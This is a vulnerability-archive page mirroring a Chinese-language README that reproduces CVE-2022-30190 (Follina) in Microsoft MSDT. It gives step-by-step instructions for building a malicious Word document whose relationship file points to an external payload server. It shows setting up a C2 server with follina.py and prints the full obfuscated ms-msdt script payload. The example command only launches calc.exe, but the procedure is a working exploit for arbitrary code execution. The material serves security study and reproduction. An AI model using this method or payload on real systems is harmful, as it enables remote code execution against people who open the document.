Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2022-30190 PoC — Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability

Source
Associated Vulnerability
Title: Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (CVE-2022-30190)
Description:A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.
Readme
# CVE-2022-30190
aka Follina

## 漏洞說明
>Follina存在於微軟支援診斷工具(Microsoft Support Diagnostic Tool,MSDT)中,當有應用程式透過URL協定呼叫MSDT進行支援時,就會出現遠端程式攻擊漏洞,成功的開採將允許駭客基於所執行應用程式的權限,來執行任意程式。

## 漏洞復現環境
```
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
```

## 復現流程
### 製作惡意文件
Step1 創建 word 文件(.docx),並在文中插入 OLE 物件(如:Bitmap Image)  
Step2 解壓縮 .docx 文件,編輯資料夾底下 `word/_rels/document.xml.rels` 文件,將下圖黃底中的`Target="embeddings/oleObject1.bin"`修改為
`Target = "http://<payload_server>/<random_name>.html!"`,並新增屬性值`TargetMode = "External"`。  
![rels](https://user-images.githubusercontent.com/39819798/218611429-5041cea1-e83b-453a-9151-2d2411168378.png)  
Step3 編輯資料夾底下 `word/document.xml` 文件,將下圖黃底中的`Type="Embed"` 修改為 `Type="Link"`,並新增屬性值`UpdateMode="OnCall"`。  
![doc](https://user-images.githubusercontent.com/39819798/218612228-96061f3f-1f87-4b7f-9abe-e9087af505b1.png)  
Step4 利用 7-zip 開啟 .docx 文件(非解壓縮),將上述兩個檔案丟入 .docx 文件,完成惡意文件製作。

### 架設C2 server
下載[John Hammond](https://github.com/JohnHammond/msdt-follina)所發布的Follina.py,此處先以基本的呼叫計算機為例,
`python3 follina.py -c calc.exe -i eth0`

#### NOTE
在 Follina.py 文件中 line 117 - 125 主要在製作惡意payload(.html),內容如下,`<script>location.href...`是會在受害主機上執行計算機的指令碼,整份文件還會填充大量的亂數字元,目的在於將文件填充至最少 4096 byte,原因可參考[“Follina” MSDT Attack](https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug)
```
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script
```

## 參考文件
[新聞說明](https://www.ithome.com.tw/news/151494)
[Follina.py](https://github.com/JohnHammond/msdt-follina)  
[malicious document](https://github.com/JMousqueton/PoC-CVE-2022-30190)  
[漏洞測試1](https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug)  
[漏洞測試2](https://www.loadcaps.com/posts/c1f2e5c1.html#%E5%BC%80%E5%A7%8B%E5%A4%8D%E7%8E%B0)  
[漏洞測試3](https://www.youtube.com/watch?v=36vMVYnIFxQ) 
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →